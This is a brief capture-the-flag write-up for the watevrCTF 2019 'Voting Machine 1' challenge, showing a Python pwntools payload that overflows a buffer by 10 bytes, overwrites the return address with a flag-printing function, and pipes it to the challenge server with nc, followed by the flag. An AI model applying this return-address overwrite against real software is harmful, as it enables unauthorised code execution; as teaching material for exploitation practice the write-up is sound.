Voting Machine 1 (watevrCTF 2019)

Simple Buffer overflow challenge where you have to overwrite RIP with the ‘super_secret_function'(method which prints flag).

Idea to solve the challenge:

[*] Offset to reach RIP is 10bytes and then overwrite RIP with ‘0x400807’ to print the flag.

Exploit:

from pwn import *

super_secret_function = 0x400807
payload = "A"*10
payload += p64(super_secret_function)
print payload

➜ pwn python payload.py| nc 13.48.67.196 50000

Flag: watevr{w3ll_th4t_w4s_pr3tty_tr1v1al_anyways_https://www.youtube.com/watch?v=Va4aF6rRdqU}